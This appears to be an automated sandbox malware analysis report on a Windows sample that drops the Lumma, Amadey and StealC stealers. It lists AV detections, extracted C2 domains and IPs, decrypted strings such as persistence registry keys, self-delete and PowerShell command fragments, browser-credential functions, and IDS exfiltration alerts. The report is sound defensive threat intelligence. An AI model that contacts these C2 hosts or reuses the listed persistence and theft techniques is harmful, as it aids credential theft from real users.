Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\RHPLumH[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1317717
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: LummaC {"C2 url": ["uncertainyelemz.bet", "hobbyedsmoker.live", "presentymusse.world", "deaddereaste.today", "subawhipnator.life", "privileggoe.live", "boltetuurked.digital"], "Build id": "rfhMoG--"}
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "176.113.115.6/Ni9kiput/index.php", "Version": "5.21", "Install Folder": "bb556cff4a", "Install File": "rapes.exe"}
Source: 00000007.00000002.2568280918.000000000056E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC/c4becf79229cb002.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Yg1HwMX[1].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\0iMSdYX[1].exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\RHPLumH[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\10010480101\RHPLumH.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	ReversingLabs: Detection: 87%

Multi AV Scanner detection for submitted file

Source: Anv6Gbh51e.exe	Virustotal: Detection: 55%			Perma Link
Source: Anv6Gbh51e.exe	ReversingLabs: Detection: 68%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp	String decryptor: uncertainyelemz.bet
Source: 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp	String decryptor: hobbyedsmoker.live
Source: 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp	String decryptor: presentymusse.world
Source: 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp	String decryptor: deaddereaste.today
Source: 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp	String decryptor: subawhipnator.life
Source: 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp	String decryptor: privileggoe.live
Source: 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp	String decryptor: boltetuurked.digital
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 176.113.115.6
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: /Ni9kiput/index.php
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: S-%lu-
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: bb556cff4a
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: rapes.exe
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Startup
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: rundll32
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Programs
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: %USERPROFILE%
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: cred.dll
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: clip.dll
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: http://
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: https://
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: /quiet
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: /Plugins/
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: &unit=
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: shell32.dll
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: kernel32.dll
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ProgramData\
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: AVAST Software
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Kaspersky Lab
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Panda Security
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Doctor Web
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 360TotalSecurity
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Bitdefender
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Norton
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Sophos
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Comodo
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: WinDefender
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 0123456789
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ------
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ?scr=1
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ComputerName
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: -unicode-
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: VideoID
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: DefaultSettings.YResolution
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ProductName
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: CurrentBuild
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: rundll32.exe
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: "taskkill /f /im "
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: " && timeout 1 && del
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: && Exit"
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: " && ren
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Powershell.exe
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: shutdown -s -t 0
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: random
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Keyboard Layout\Preload
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 00000419
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 00000422
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 00000423
Source: 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 0000043f

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4FA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	7_2_6C4FA9A0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4F4440 PK11_PrivDecrypt,	7_2_6C4F4440
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4C4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	7_2_6C4C4420
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4F44C0 PK11_PubEncrypt,	7_2_6C4F44C0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C5425B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	7_2_6C5425B0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4FA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	7_2_6C4FA650
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4D8670 PK11_ExportEncryptedPrivKeyInfo,	7_2_6C4D8670
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4DE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	7_2_6C4DE6E0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C51A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	7_2_6C51A730
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C520180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	7_2_6C520180
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4F43B0 PK11_PubEncryptPKCS1,PR_SetError,	7_2_6C4F43B0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C517C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	7_2_6C517C00
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4D7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	7_2_6C4D7D60
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C51BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	7_2_6C51BD30
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C519EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	7_2_6C519EC0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4F3FF0 PK11_PrivDecryptPKCS1,	7_2_6C4F3FF0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4F9840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	7_2_6C4F9840
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4F3850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	7_2_6C4F3850
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C51DA40 SEC_PKCS7ContentIsEncrypted,	7_2_6C51DA40
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4F3560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	7_2_6C4F3560

Source: Anv6Gbh51e.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.4:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.49:443 -> 192.168.2.4:50051 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2579882796.000000006CDFD000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.7.dr, mozglue[1].dll.7.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.7.dr, freebl3[1].dll.7.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.7.dr, freebl3[1].dll.7.dr
Source:	Binary string: System.Windows.Forms.pdb source: WERA4B9.tmp.dmp.24.dr
Source:	Binary string: nss3.pdb@ source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2579407264.000000006C5CF000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr
Source:	Binary string: C:\Users\users\source\repos\Brought\Brought\obj\Release\Brought.pdbL6f6 X6_CorExeMainmscoree.dll source: Yg1HwMX.exe, 00000014.00000000.2938937578.00000000006B2000.00000002.00000001.01000000.00000012.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX[1].exe.12.dr, Yg1HwMX.exe.12.dr
Source:	Binary string: mscorlib.pdb source: WERA4B9.tmp.dmp.24.dr
Source:	Binary string: System.ni.pdbRSDS source: WERA4B9.tmp.dmp.24.dr
Source:	Binary string: mscorlib.ni.pdb source: WERA4B9.tmp.dmp.24.dr
Source:	Binary string: Brought.pdb source: WERA4B9.tmp.dmp.24.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.7.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.7.dr
Source:	Binary string: C:\Users\users\source\repos\Brought\Brought\obj\Release\Brought.pdb source: Yg1HwMX.exe, 00000014.00000000.2938937578.00000000006B2000.00000002.00000001.01000000.00000012.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX[1].exe.12.dr, Yg1HwMX.exe.12.dr
Source:	Binary string: System.Windows.Forms.pdb;( source: WERA4B9.tmp.dmp.24.dr
Source:	Binary string: nss3.pdb source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2579407264.000000006C5CF000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERA4B9.tmp.dmp.24.dr
Source:	Binary string: mozglue.pdb source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2579882796.000000006CDFD000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.7.dr, mozglue[1].dll.7.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.7.dr
Source:	Binary string: System.ni.pdb source: WERA4B9.tmp.dmp.24.dr
Source:	Binary string: System.pdb source: WERA4B9.tmp.dmp.24.dr

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 40MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2060342 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pirtyoffensiz .bet) : 192.168.2.4:52584 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060315 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (uncertainyelemz .bet) : 192.168.2.4:60192 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060334 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hobbyedsmoker .live) : 192.168.2.4:65488 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49754 -> 185.215.113.115:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49754 -> 185.215.113.115:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.115:80 -> 192.168.2.4:49754
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49754 -> 185.215.113.115:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.115:80 -> 192.168.2.4:49754
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49754 -> 185.215.113.115:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:50016 -> 176.113.115.6:80
Source: Network traffic	Suricata IDS: 2060334 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hobbyedsmoker .live) : 192.168.2.4:52660 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060315 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (uncertainyelemz .bet) : 192.168.2.4:58164 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49744 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49734 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49743 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50050 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50048 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50046 -> 104.21.27.210:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50046 -> 104.21.27.210:443

C2 URLs / IPs found in malware configuration

